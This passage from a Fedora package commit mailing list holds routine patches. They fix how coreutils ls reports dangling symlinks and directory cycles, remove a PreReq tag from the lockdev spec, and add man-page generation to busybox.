 Also see @ref{Common options}.

diff -urNp coreutils-7.6-orig/src/ls.c coreutils-7.6/src/ls.c
--- coreutils-7.6-orig/src/ls.c	2009-09-22 15:12:55.000000000 +0200
+++ coreutils-7.6/src/ls.c	2009-10-02 16:19:54.000000000 +0200
@@ -2494,6 +2494,7 @@ print_dir (char const *name, char const 
           error (0, 0, _("%s: not listing already-listed directory"),
                  quotearg_colon (name));
           closedir (dirp);
+          set_exit_status (true);
           return;
         }
 
@@ -3582,6 +3583,18 @@ format_user_width (uid_t u)
   return format_user_or_group_width (numeric_ids ? NULL : getuser (u), u);
 }
 
+/* Return a pointer to a formatted version of F->stat.st_ino,
+ possibly using buffer, BUF, of length BUFLEN, which must be at least
+ INT_BUFSIZE_BOUND (uintmax_t) bytes. */
+static char *
+format_inode (char *buf, size_t buflen, const struct fileinfo *f)
+{
+ assert (INT_BUFSIZE_BOUND (uintmax_t) <= buflen);
+ return (f->stat_ok && f->stat.st_ino != NOT_AN_INODE_NUMBER
+ ? umaxtostr (f->stat.st_ino, buf)
+ : (char *) "?");
+}
+
 /* Likewise, for groups.  */
 
 static int
@@ -3712,9 +3725,7 @@ print_long_format (const struct fileinfo
     {
       char hbuf[INT_BUFSIZE_BOUND (uintmax_t)];
       sprintf (p, "%*s ", inode_number_width,
-               (f->stat.st_ino == NOT_AN_INODE_NUMBER
-                ? "?"
-                : umaxtostr (f->stat.st_ino, hbuf)));
+              format_inode (hbuf, sizeof hbuf, f));
       /* Increment by strlen (p) here, rather than by inode_number_width + 1.
          The latter is wrong when inode_number_width is zero.  */
       p += strlen (p);
@@ -4104,12 +4115,13 @@ print_file_name_and_frills (const struct
 
   if (print_inode)
     printf ("%*s ", format == with_commas ? 0 : inode_number_width,
-            umaxtostr (f->stat.st_ino, buf));
+            format_inode (buf, sizeof buf, f));
 
   if (print_block_size)
     printf ("%*s ", format == with_commas ? 0 : block_size_width,
-            human_readable (ST_NBLOCKS (f->stat), buf, human_output_opts,
-                            ST_NBLOCKSIZE, output_block_size));
+  ! f->stat_ok ? "?"
+  : human_readable (ST_NBLOCKS (f->stat), buf, human_output_opts,
+  ST_NBLOCKSIZE, output_block_size));
 
   size_t width = print_name_with_quoting (f->name, FILE_OR_LINK_MODE (f),
                                           f->linkok, f->stat_ok, f->filetype,
@@ -4320,9 +4332,10 @@ length_of_file_name_and_frills (const st
 
   if (print_block_size)
     len += 1 + (format == with_commas
-                ? strlen (human_readable (ST_NBLOCKS (f->stat), buf,
-                                          human_output_opts, ST_NBLOCKSIZE,
-                                          output_block_size))
+    ? strlen (! f->stat_ok ? "?"
+    : human_readable (ST_NBLOCKS (f->stat), buf,
+    human_output_opts, ST_NBLOCKSIZE,
+    output_block_size))
                 : block_size_width);
 
   quote_name (NULL, f->name, filename_quoting_options, &name_width);
diff -urNp coreutils-7.6-orig/tests/ls/dangle coreutils-7.6/tests/ls/dangle
--- coreutils-7.6-orig/tests/ls/dangle	2009-09-01 13:01:16.000000000 +0200
+++ coreutils-7.6/tests/ls/dangle	2009-10-02 16:21:06.000000000 +0200
@@ -26,6 +26,10 @@ fi
 ln -s no-such-file dangle || framework_failure
 mkdir -p dir/sub || framework_failure
 ln -s dir slink-to-dir || framework_failure
+mkdir d || framework_failure
+ln -s no-such d/dangle || framework_failure
+printf '? dangle\n' > subdir_Li_exp || framework_failure
+printf 'total 0\n? dangle\n' > subdir_Ls_exp || framework_failure
 
 fail=0
 
@@ -50,4 +54,14 @@ EOF
 
 compare out exp || fail=1
 
+# Ensure that ls -Li prints "?" as the inode of a dangling symlink.
+rm -f out
+ls -Li d > out 2>/dev/null && fail=1
+compare out subdir_Li_exp || fail=1
+
+# Ensure that ls -Ls prints "?" as the allocation of a dangling symlink.
+rm -f out
+ls -Ls d > out 2>/dev/null && fail=1
+compare out subdir_Ls_exp || fail=1
+
 Exit $fail
diff -urNp coreutils-7.6-orig/tests/ls/infloop coreutils-7.6/tests/ls/infloop
--- coreutils-7.6-orig/tests/ls/infloop	2009-09-01 13:01:16.000000000 +0200
+++ coreutils-7.6/tests/ls/infloop	2009-10-02 16:12:11.000000000 +0200
@@ -1,6 +1,7 @@
 #!/bin/sh
 # show that the following no longer makes ls infloop
 # mkdir loop; cd loop; ln -s ../loop sub; ls -RL
+# Also ensure ls exits with status = 2 in that case.
 
 # Copyright (C) 2001-2002, 2004, 2006-2009 Free Software Foundation, Inc.
 
@@ -27,21 +28,22 @@ fi
 mkdir loop || framework_failure
 ln -s ../loop loop/sub || framework_failure
 
-fail=0
-
-ls -RL loop 2>err | head -n 7 > out
-# With an inf-looping ls, out will contain these 7 lines:
-cat <<EOF > bad
+cat <<\EOF > exp-out || framework_failure
 loop:
 sub
+EOF
 
-loop/sub:
-sub
-
-loop/sub/sub:
+cat <<\EOF > exp-err || framework_failure
+ls: loop/sub: not listing already-listed directory
 EOF
 
-# Make sure we don't get the "bad" output.
-compare out bad > /dev/null 2>&1 && fail=1
+fail=0
+
+timeout 1 ls -RL loop 2>err > out
+# Ensure that ls exits with status 2 upon detecting a cycle
+test $? = 2 || fail=1
+
+compare err exp-err || fail=1
+compare out exp-out || fail=1
 
 Exit $fail



Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.279
retrieving revision 1.280
diff -u -p -r1.279 -r1.280
--- coreutils.spec	22 Sep 2009 13:24:02 -0000	1.279
+++ coreutils.spec	2 Oct 2009 14:41:18 -0000	1.280
@@ -1,7 +1,7 @@
 Summary: A set of basic GNU tools commonly used in shell scripts
 Name:    coreutils
 Version: 7.6
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv3+
 Group:   System Environment/Base
 Url:     http://www.gnu.org/software/coreutils/
@@ -20,6 +20,7 @@ Source203:  coreutils-runuser-l.pamd
 # From upstream
 Patch1: coreutils-cpxattrreadonly.patch
 Patch2: coreutils-7.6-lzipcolor.patch
+Patch3: coreutils-ls-inode.patch
 
 # Our patches
 Patch100: coreutils-6.10-configuration.patch
@@ -111,6 +112,7 @@ Libraries for coreutils package.
 # From upstream
 %patch1 -p1 -b .roxattr
 %patch2 -p1 -b .lzip
+%patch3 -p1 -b .inode
 
 # Our patches
 %patch100 -p1 -b .configure
@@ -254,15 +256,15 @@ rm -rf $RPM_BUILD_ROOT
 # coreutils.info. else their postun'll be run too late
 # and install-info will fail badly because of duplicates
 for file in sh-utils textutils fileutils; do
-  if [ -f %{_infodir}/$file.info ]; then
-    /sbin/install-info --delete %{_infodir}/$file.info --dir=%{_infodir}/dir &> /dev/null || :
+  if [ -f %{_infodir}/$file.info.gz ]; then
+    /sbin/install-info --delete %{_infodir}/$file.info.gz --dir=%{_infodir}/dir &> /dev/null || :
   fi
 done
 
 %preun
 if [ $1 = 0 ]; then
-  if [ -f %{_infodir}/%{name}.info ]; then
-    /sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir || :
+  if [ -f %{_infodir}/%{name}.info.gz ]; then
+    /sbin/install-info --delete %{_infodir}/%{name}.info.gz %{_infodir}/dir || :
   fi
 fi
 
@@ -270,8 +272,8 @@ fi
 /bin/grep -v '(sh-utils)\|(fileutils)\|(textutils)' %{_infodir}/dir > \
   %{_infodir}/dir.rpmmodify || exit 0
     /bin/mv -f %{_infodir}/dir.rpmmodify %{_infodir}/dir
-if [ -f %{_infodir}/%{name}.info ]; then
-  /sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || :
+if [ -f %{_infodir}/%{name}.info.gz ]; then
+  /sbin/install-info %{_infodir}/%{name}.info.gz %{_infodir}/dir || :
 fi
 
 %files -f %{name}.lang
@@ -329,6 +331,13 @@ fi
 %{_libdir}/coreutils
 
 %changelog
+* Fri Oct 02 2009 Ondrej Vasik <ovasik at redhat.com> - 7.6-6
+- ls -LR exits with status 2, not 0, when it encounters
+  a cycle(#525402)
+- ls: print "?", not "0" as inode of dereferenced dangling
+  symlink(#525400)
+- call the install-info on .gz info files
+
 * Tue Sep 22 2009 Ondrej Vasik <ovasik at redhat.com> - 7.6-5
 - improve and correct runuser documentation (#524805)
 



From jpopelka at fedoraproject.org  Fri Oct  2 14:47:47 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Fri,  2 Oct 2009 14:47:47 +0000 (UTC)
Subject: rpms/lockdev/devel lockdev.spec,1.32,1.33
Message-ID: <20091002144747.4D13111C00C1@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/lockdev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29195

Modified Files:
	lockdev.spec 
Log Message:
* Fri Oct 02 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-17
- Removed PreReq tag



Index: lockdev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lockdev/devel/lockdev.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- lockdev.spec	25 Sep 2009 17:01:58 -0000	1.32
+++ lockdev.spec	2 Oct 2009 14:47:46 -0000	1.33
@@ -1,7 +1,7 @@
 Summary: A library for locking devices
 Name: lockdev
 Version: 1.0.1
-Release: 16%{?dist}
+Release: 17%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://packages.debian.org/unstable/source/lockdev
@@ -23,7 +23,6 @@ Patch10: lockdev-1.0.1-man8.patch
 Requires(pre): shadow-utils
 Requires(post): glibc
 Requires(postun): glibc
-PreReq: filesystem >= 2.1.4-1
 
 BuildRequires: perl
 BuildRequires: perl(ExtUtils::MakeMaker)
@@ -95,6 +94,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_includedir}/*
 
 %changelog
+* Fri Oct 01 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-17
+- Removed PreReq tag
+
 * Fri Sep 25 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-16
 - Manual page for /usr/sbin/lockdev
 



From vda at fedoraproject.org  Fri Oct  2 14:56:35 2009
From: vda at fedoraproject.org (Denys Vlasenko)
Date: Fri,  2 Oct 2009 14:56:35 +0000 (UTC)
Subject: rpms/busybox/devel busybox-1.15.1-man.patch, NONE, 1.1 busybox.spec,
	1.102, 1.103
Message-ID: <20091002145635.C2D9B11C00C1@cvs1.fedora.phx.redhat.com>

Author: vda

Update of /cvs/extras/rpms/busybox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31597

Modified Files:
	busybox.spec 
Added Files:
	busybox-1.15.1-man.patch 
Log Message:
* Fri Oct  2 2009 Denys Vlasenko <dvlasenk at redhat.com> - 1:1.15.1-2
- add manpage generation (#525658)



busybox-1.15.1-man.patch:
 Makefile.custom         |   18 ++++----
 applets/Kbuild          |    9 ++--
 applets/applet_tables.c |   21 +++++-----
 applets/usage.c         |   14 +++---
 applets/usage_pod.c     |  100 ++++++++++++++++++++++++++++++++++++++++++++++++
 docs/busybox_footer.pod |    8 +--
 include/usage.h         |   84 ++++++++++++++++++++--------------------
 7 files changed, 180 insertions(+), 74 deletions(-)

--- NEW FILE busybox-1.15.1-man.patch ---
diff -urpN busybox-1.15.1/applets/applet_tables.c busybox-1.15.1-man/applets/applet_tables.c
--- busybox-1.15.1/applets/applet_tables.c	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/applets/applet_tables.c	2009-10-02 13:18:39.922816035 +0200
@@ -70,29 +70,32 @@ int main(int argc, char **argv)
 
 	/* Keep in sync with include/busybox.h! */
 
-	puts("/* This is a generated file, don't edit */\n");
+	printf("/* This is a generated file, don't edit */\n\n");
 
 	printf("#define NUM_APPLETS %u\n", NUM_APPLETS);
 	if (NUM_APPLETS == 1) {
 		printf("#define SINGLE_APPLET_STR \"%s\"\n", applets[0].name);
 		printf("#define SINGLE_APPLET_MAIN %s_main\n", applets[0].name);
 	}
+	printf("\n");
 
-	puts("\nconst char applet_names[] ALIGN1 = \"\"");
+	printf("const char applet_names[] ALIGN1 = \"\"\n");
 	for (i = 0; i < NUM_APPLETS; i++) {
 		printf("\"%s\" \"\\0\"\n", applets[i].name);
 		if (MAX_APPLET_NAME_LEN < strlen(applets[i].name))
 			MAX_APPLET_NAME_LEN = strlen(applets[i].name);
 	}
-	puts(";");
+	printf(";\n\n");
 
-	puts("\nint (*const applet_main[])(int argc, char **argv) = {");
+	printf("#ifndef SKIP_applet_main\n");
+	printf("int (*const applet_main[])(int argc, char **argv) = {\n");
 	for (i = 0; i < NUM_APPLETS; i++) {
 		printf("%s_main,\n", applets[i].main);
 	}
-	puts("};");
+	printf("};\n");
+	printf("#endif\n\n");
 
-	puts("const uint16_t applet_nameofs[] ALIGN2 = {");
+	printf("const uint16_t applet_nameofs[] ALIGN2 = {\n");
 	for (i = 0; i < NUM_APPLETS; i++) {
 		printf("0x%04x,\n",
 			offset[i]
@@ -105,10 +108,10 @@ int main(int argc, char **argv)
 #endif
 		);
 	}
-	puts("};");
+	printf("};\n\n");
 
 #if ENABLE_FEATURE_INSTALLER
-	puts("const uint8_t applet_install_loc[] ALIGN1 = {");
+	printf("const uint8_t applet_install_loc[] ALIGN1 = {\n");
 	i = 0;
 	while (i < NUM_APPLETS) {
 		int v = applets[i].install_loc; /* 3 bits */
@@ -117,7 +120,7 @@ int main(int argc, char **argv)
 		printf("0x%02x,\n", v);
 		i++;
 	}
-	puts("};\n");
+	printf("};\n\n");
 #endif
 
 	printf("#define MAX_APPLET_NAME_LEN %u\n", MAX_APPLET_NAME_LEN);
diff -urpN busybox-1.15.1/applets/Kbuild busybox-1.15.1-man/applets/Kbuild
--- busybox-1.15.1/applets/Kbuild	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/applets/Kbuild	2009-10-02 13:18:39.922816035 +0200
@@ -8,7 +8,7 @@ obj-y :=
 obj-y += applets.o
 
 hostprogs-y:=
-hostprogs-y += usage applet_tables
+hostprogs-y += usage usage_pod applet_tables
 
 always:= $(hostprogs-y)
 
@@ -22,13 +22,14 @@ else
 srctree_slash = $(srctree)/
 endif
 
-
-HOSTCFLAGS_usage.o = -I$(srctree_slash)include
+HOSTCFLAGS_usage.o = -I$(srctree_slash)include -Iinclude
+HOSTCFLAGS_usage_pod.o = -I$(srctree_slash)include -Iinclude
 
 applets/applets.o: include/usage_compressed.h include/applet_tables.h
 
-applets/usage:         .config $(srctree_slash)applets/usage_compressed
 applets/applet_tables: .config
+applets/usage:         .config
+applets/usage_pod:     .config include/applet_tables.h
 
 quiet_cmd_gen_usage_compressed = GEN     include/usage_compressed.h
       cmd_gen_usage_compressed = $(srctree_slash)applets/usage_compressed include/usage_compressed.h applets
diff -urpN busybox-1.15.1/applets/usage.c busybox-1.15.1-man/applets/usage.c
--- busybox-1.15.1/applets/usage.c	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/applets/usage.c	2009-10-02 13:18:39.938521264 +0200
@@ -8,17 +8,17 @@
 
 /* Just #include "autoconf.h" doesn't work for builds in separate
  * object directory */
-#include "../include/autoconf.h"
+#include "autoconf.h"
 
 /* Since we can't use platform.h, have to do this again by hand: */
 #if ENABLE_NOMMU
-#define BB_MMU 0
-#define USE_FOR_NOMMU(...) __VA_ARGS__
-#define USE_FOR_MMU(...)
+# define BB_MMU 0
+# define USE_FOR_NOMMU(...) __VA_ARGS__
+# define USE_FOR_MMU(...)
 #else
-#define BB_MMU 1
-#define USE_FOR_NOMMU(...)
-#define USE_FOR_MMU(...) __VA_ARGS__
+# define BB_MMU 1
+# define USE_FOR_NOMMU(...)
+# define USE_FOR_MMU(...) __VA_ARGS__
 #endif
 
 static const char usage_messages[] = ""
diff -urpN busybox-1.15.1/applets/usage_pod.c busybox-1.15.1-man/applets/usage_pod.c
--- busybox-1.15.1/applets/usage_pod.c	1970-01-01 01:00:00.000000000 +0100
+++ busybox-1.15.1-man/applets/usage_pod.c	2009-10-02 13:18:39.938783174 +0200
@@ -0,0 +1,100 @@
+/* vi: set sw=4 ts=4: */
+/*
+ * Copyright (C) 2009 Denys Vlasenko.
+ *
+ * Licensed under GPLv2, see file LICENSE in this tarball for details.
+ */
+#include <unistd.h>
+#include <stdint.h>
+#include <string.h>
+#include <stdio.h>
+
+/* Just #include "autoconf.h" doesn't work for builds in separate
+ * object directory */
+#include "autoconf.h"
+
+#define SKIP_applet_main
+#define ALIGN1 /* nothing, just to placate applet_tables.h */
+#define ALIGN2 /* nothing, just to placate applet_tables.h */
+#include "applet_tables.h"
+
+/* Since we can't use platform.h, have to do this again by hand: */
+#if ENABLE_NOMMU
+# define BB_MMU 0
+# define USE_FOR_NOMMU(...) __VA_ARGS__
+# define USE_FOR_MMU(...)
+#else
+# define BB_MMU 1
+# define USE_FOR_NOMMU(...)
+# define USE_FOR_MMU(...) __VA_ARGS__
+#endif
+
+static const char usage_messages[] = ""
+#define MAKE_USAGE
+#include "usage.h"
+#include "applets.h"
+;
+
+int main(void)
+{
+	const char *names;
+	const char *usage;
+	int col, len2;
+
+	col = 0;
+	names = applet_names;
+	while (*names) {
+		len2 = strlen(names) + 2;
+		if (col >= 76 - len2) {
+			printf(",\n");
+			col = 0;
+		}
+		if (col == 0) {
+			col = 6;
+			printf("\t");
+		} else {
+			printf(", ");
+		}
+		printf(names);
+		col += len2;
+		names += len2 - 1;
+	}
+	printf("\n\n");
+
+	printf("=head1 COMMAND DESCRIPTIONS\n\n");
+	printf("=over 4\n\n");
+
+	names = applet_names;
+	usage = usage_messages;
+	while (*names) {
+		if (*names >= 'a' && *names <= 'z'
+		 && *usage != NOUSAGE_STR[0]
+		) {
+			printf("=item B<%s>\n\n", names);
+			if (*usage)
+				printf("%s %s\n\n", names, usage);
+			else
+				printf("%s\n\n", names);
+		}
+		names += strlen(names) + 1;
+		usage += strlen(usage) + 1;
+	}
+	return 0;
+}
+
+/* TODO: we used to make options bold with B<> and output an example too:
+
+=item B<cat>
+
+cat [B<-u>] [FILE]...
+
+Concatenate FILE(s) and print them to stdout
+
+Options:
+        -u      Use unbuffered i/o (ignored)
+
+Example:
+        $ cat /proc/uptime
+        110716.72 17.67
+
+*/
diff -urpN busybox-1.15.1/docs/busybox_footer.pod busybox-1.15.1-man/docs/busybox_footer.pod
--- busybox-1.15.1/docs/busybox_footer.pod	2009-09-12 17:55:58.000000000 +0200
+++ busybox-1.15.1-man/docs/busybox_footer.pod	2009-10-02 13:19:05.299823185 +0200
@@ -39,7 +39,7 @@ incorect, please send in an update.
 =for html <br>
 
 Emanuele Aina <emanuele.aina at tiscali.it>
-	run-parts
+    run-parts
 
 =for html <br>
 
@@ -97,7 +97,7 @@ Dave Cinege <dcinege at psychosis.com>
 
 Jordan Crouse <jordan at cosmicpenguin.net>
 
-	ipcalc
+    ipcalc
 
 =for html <br>
 
@@ -146,7 +146,7 @@ Matt Kraai <kraai at alumni.cmu.edu>
 
 Stephan Linz <linz at li-pro.net>
 
-	ipcalc, Red Hat equivalence
+    ipcalc, Red Hat equivalence
 
 =for html <br>
 
@@ -250,7 +250,7 @@ Enrique Zanardi <ezanardi at ull.es>
 
 Tito Ragusa <farmatito at tiscali.it>
 
-	devfsd and size optimizations in strings, openvt and deallocvt.
+    devfsd and size optimizations in strings, openvt and deallocvt.
 
 =cut
 
diff -urpN busybox-1.15.1/include/usage.h busybox-1.15.1-man/include/usage.h
--- busybox-1.15.1/include/usage.h	2009-09-12 17:55:58.000000000 +0200
+++ busybox-1.15.1-man/include/usage.h	2009-10-02 13:19:05.316036588 +0200
@@ -48,7 +48,7 @@
      "\n	-h DIR		Home directory" \
      "\n	-g GECOS	GECOS field" \
      "\n	-s SHELL	Login shell" \
-     "\n	-G GROUP	Add user to existing group" \
+     "\n	-G GRP		Add user to existing group" \
      "\n	-S		Create a system user" \
      "\n	-D		Do not assign a password" \
      "\n	-H		Do not create home directory" \
@@ -690,7 +690,7 @@
      "\n	-D FMT		Use FMT for -d TIME conversion" \
 	) \
      "\n" \
-     "\nRecognized formats for TIME:" \
+     "\nRecognized TIME formats:" \
      "\n	hh:mm[:ss]" \
      "\n	[YYYY.]MM.DD-hh:mm[:ss]" \
      "\n	YYYY-MM-DD hh:mm[:ss]" \
@@ -1190,12 +1190,12 @@
 #define blkid_trivial_usage \
        ""
 #define blkid_full_usage "\n\n" \
-       "Print UUIDs of all filesystems."
+       "Print UUIDs of all filesystems"
 
 #define findfs_trivial_usage \
        "LABEL=label or UUID=uuid"
 #define findfs_full_usage "\n\n" \
-       "Find a filesystem device based on a label or UUID."
+       "Find a filesystem device based on a label or UUID"
 #define findfs_example_usage \
        "$ findfs LABEL=MyDevice"
 
@@ -3134,22 +3134,22 @@
 #define nmeter_full_usage "\n\n" \
        "Monitor system in real time\n\n" \
        "Format specifiers:\n" \
-       "%Nc or %[cN]	Monitor CPU. N - bar size, default 10\n" \
+       " %Nc or %[cN]	Monitor CPU. N - bar size, default 10\n" \
        "		(displays: S:system U:user N:niced D:iowait I:irq i:softirq)\n" \
-       "%[niface]	Monitor network interface 'iface'\n" \
-       "%m		Monitor allocated memory\n" \
-       "%[mf]		Monitor free memory\n" \
-       "%[mt]		Monitor total memory\n" \
-       "%s		Monitor allocated swap\n" \
-       "%f		Monitor number of used file descriptors\n" \
-       "%Ni		Monitor total/specific IRQ rate\n" \
-       "%x		Monitor context switch rate\n" \
-       "%p		Monitor forks\n" \
-       "%[pn]		Monitor # of processes\n" \
-       "%b		Monitor block io\n" \
-       "%Nt		Show time (with N decimal points)\n" \
-       "%Nd		Milliseconds between updates (default:1000)\n" \
-       "%r		Print <cr> instead of <lf> at EOL" \
+       " %[niface]	Monitor network interface 'iface'\n" \
+       " %m		Monitor allocated memory\n" \
+       " %[mf]		Monitor free memory\n" \
+       " %[mt]		Monitor total memory\n" \
+       " %s		Monitor allocated swap\n" \
+       " %f		Monitor number of used file descriptors\n" \
+       " %Ni		Monitor total/specific IRQ rate\n" \
+       " %x		Monitor context switch rate\n" \
+       " %p		Monitor forks\n" \
+       " %[pn]		Monitor # of processes\n" \
+       " %b		Monitor block io\n" \
+       " %Nt		Show time (with N decimal points)\n" \
+       " %Nd		Milliseconds between updates (default:1000)\n" \
+       " %r		Print <cr> instead of <lf> at EOL" \
 
 #define nmeter_example_usage \
        "nmeter '%250d%t %20c int %i bio %b mem %m forks%p'"
@@ -4475,35 +4475,35 @@
 #define tcpsvd_full_usage "\n\n" \
        "Create TCP socket, bind  to IP:PORT and listen\n" \
        "for incoming connection. Run PROG for each connection.\n" \
-     "\nIP		IP to listen on. '0' = all" \
-     "\nPORT		Port to listen on" \
-     "\nPROG [ARGS]	Program to run" \
-     "\n-l NAME		Local hostname (else looks up local hostname in DNS)" \
-     "\n-u USER[:GROUP]	Change to user/group after bind" \
-     "\n-c N		Handle up to N connections simultaneously" \
-     "\n-b N		Allow a backlog of approximately N TCP SYNs" \
-     "\n-C N[:MSG]	Allow only up to N connections from the same IP" \
-     "\n		New connections from this IP address are closed" \
-     "\n		immediately. MSG is written to the peer before close" \
-     "\n-h		Look up peer's hostname" \
-     "\n-E		Do not set up environment variables" \
-     "\n-v		Verbose" \
+     "\n	IP		IP to listen on. '0' = all" \
+     "\n	PORT		Port to listen on" \
+     "\n	PROG [ARGS]	Program to run" \
+     "\n	-l NAME		Local hostname (else looks up local hostname in DNS)" \
+     "\n	-u USER[:GRP]	Change to user/group after bind" \
+     "\n	-c N		Handle up to N connections simultaneously" \
+     "\n	-b N		Allow a backlog of approximately N TCP SYNs" \
+     "\n	-C N[:MSG]	Allow only up to N connections from the same IP" \
+     "\n			New connections from this IP address are closed" \
+     "\n			immediately. MSG is written to the peer before close" \
+     "\n	-h		Look up peer's hostname" \
+     "\n	-E		Do not set up environment variables" \
+     "\n	-v		Verbose" \
 
 #define udpsvd_trivial_usage \
        "[-hEv] [-c N] [-u USER] [-l NAME] IP PORT PROG"
 #define udpsvd_full_usage "\n\n" \
        "Create UDP socket, bind to IP:PORT and wait\n" \
        "for incoming packets. Run PROG for each packet,\n" \
-       "redirecting all further packets with same peer ip:port to it\n" \
-     "\nIP		IP to listen on. '0' = all" \
-     "\nPORT		Port to listen on" \
-     "\nPROG [ARGS]	Program to run" \
-     "\n-l NAME		Local hostname (else looks up local hostname in DNS)" \
-     "\n-u USER[:GROUP]	Change to user/group after bind" \
-     "\n-c N		Handle up to N connections simultaneously" \
-     "\n-h		Look up peer's hostname" \
-     "\n-E		Do not set up environment variables" \
-     "\n-v		Verbose" \
+       "redirecting all further packets with same peer ip:port to it.\n" \
+     "\n	IP		IP to listen on. '0' = all" \
+     "\n	PORT		Port to listen on" \
+     "\n	PROG [ARGS]	Program to run" \
+     "\n	-l NAME		Local hostname (else looks up local hostname in DNS)" \
+     "\n	-u USER[:GRP]	Change to user/group after bind" \
+     "\n	-c N		Handle up to N connections simultaneously" \
+     "\n	-h		Look up peer's hostname" \
+     "\n	-E		Do not set up environment variables" \
+     "\n	-v		Verbose" \
 
 #define tftp_trivial_usage \
        "[OPTIONS] HOST [PORT]"
diff -urpN busybox-1.15.1/Makefile.custom busybox-1.15.1-man/Makefile.custom
--- busybox-1.15.1/Makefile.custom	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/Makefile.custom	2009-10-02 13:19:05.317035267 +0200
@@ -111,15 +111,19 @@ doc: docs/busybox.pod docs/BusyBox.txt d
 silent_cmd_doc =
 disp_doc       = $($(quiet)cmd_doc)
 
+# sed adds newlines after "Options:" etc,
+# this is needed in order to get good BusyBox.{1,txt,html}
 docs/busybox.pod: $(srctree)/docs/busybox_header.pod \
 		$(srctree)/include/usage.h \
 		$(srctree)/docs/busybox_footer.pod \
-		$(srctree)/docs/autodocifier.pl
+		applets/usage_pod
 	$(disp_doc)
 	$(Q)-mkdir -p docs
-	$(Q)-( cat $(srctree)/docs/busybox_header.pod ; \
-	    $(srctree)/docs/autodocifier.pl $(srctree)/include/usage.h ; \
-	    cat $(srctree)/docs/busybox_footer.pod ; ) > docs/busybox.pod
+	$(Q)-( \
+	    cat $(srctree)/docs/busybox_header.pod; \
+	    applets/usage_pod | sed 's/^[A-Za-z][A-Za-z ]*[a-z]:$$/&\n/'; \
+	    cat $(srctree)/docs/busybox_footer.pod; \
+	    ) > docs/busybox.pod
 
 docs/BusyBox.txt: docs/busybox.pod
 	$(disp_doc)
@@ -129,8 +133,7 @@ docs/BusyBox.txt: docs/busybox.pod
 docs/BusyBox.1: docs/busybox.pod
 	$(disp_doc)
 	$(Q)-mkdir -p docs
-	$(Q)-pod2man --center=BusyBox --release="version $(VERSION)" \
-		$< > $@
+	$(Q)-pod2man --center=BusyBox --release="version $(KERNELVERSION)" $< > $@
 
 docs/BusyBox.html: docs/busybox.net/BusyBox.html
 	$(disp_doc)
@@ -140,8 +143,7 @@ docs/BusyBox.html: docs/busybox.net/Busy
 
 docs/busybox.net/BusyBox.html: docs/busybox.pod
 	$(Q)-mkdir -p docs/busybox.net
-	$(Q)-pod2html --noindex $< > \
-	    docs/busybox.net/BusyBox.html
+	$(Q)-pod2html --noindex $< > $@
 	$(Q)-rm -f pod2htm*
 
 # documentation, cross-reference


Index: busybox.spec
===================================================================
RCS file: /cvs/extras/rpms/busybox/devel/busybox.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- busybox.spec	13 Sep 2009 00:26:45 -0000	1.102
+++ busybox.spec	2 Oct 2009 14:56:32 -0000	1.103
@@ -1,7 +1,7 @@
 Summary: Statically linked binary providing simplified versions of system commands
 Name: busybox
 Version: 1.15.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 License: GPLv2
 Group: System Environment/Shells
@@ -13,6 +13,7 @@ Source4: uClibc.config
 Patch16: busybox-1.10.1-hwclock.patch
 # patch to avoid conflicts with getline() from stdio.h, already present in upstream VCS
 Patch22: uClibc-0.9.30.1-getline.patch
+Patch23: busybox-1.15.1-man.patch
 Obsoletes: busybox-anaconda
 URL: http://www.busybox.net
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -46,6 +47,7 @@ better suited to normal use.
 %patch16 -b .ia64 -p1
 cat %{SOURCE4} >uClibc-0.9.30.1/.config1
 %patch22 -b .getline -p1
+%patch23 -b .man -p1
 
 %build
 # create static busybox - the executable is kept as busybox-static
@@ -88,6 +90,7 @@ else \
     make V=1 CC="gcc $RPM_OPT_FLAGS"; \
 fi
 cp busybox busybox.static
+cp docs/BusyBox.1 docs/busybox.static.1
 
 # create busybox optimized for petitboot
 make clean
@@ -97,12 +100,16 @@ cp %{SOURCE2} .config
 yes "" | make oldconfig
 make V=1 CC="%__cc $RPM_OPT_FLAGS"
 cp busybox busybox.petitboot
+cp docs/BusyBox.1 docs/busybox.petitboot.1
 
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/sbin
 install -m 755 busybox.static $RPM_BUILD_ROOT/sbin/busybox
 install -m 755 busybox.petitboot $RPM_BUILD_ROOT/sbin/busybox.petitboot
+mkdir -p $RPM_BUILD_ROOT/%{_mandir}/man1
+install -m 644 docs/busybox.static.1 $RPM_BUILD_ROOT/%{_mandir}/man1/busybox.1
+install -m 644 docs/busybox.petitboot.1 $RPM_BUILD_ROOT/%{_mandir}/man1/busybox.petitboot.1
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -111,13 +118,18 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc LICENSE docs/busybox.net/*.html
 /sbin/busybox
+%{_mandir}/man1/busybox.1.gz
 
 %files petitboot
 %defattr(-,root,root,-)
 %doc LICENSE
 /sbin/busybox.petitboot
+%{_mandir}/man1/busybox.petitboot.1.gz
 
 %changelog
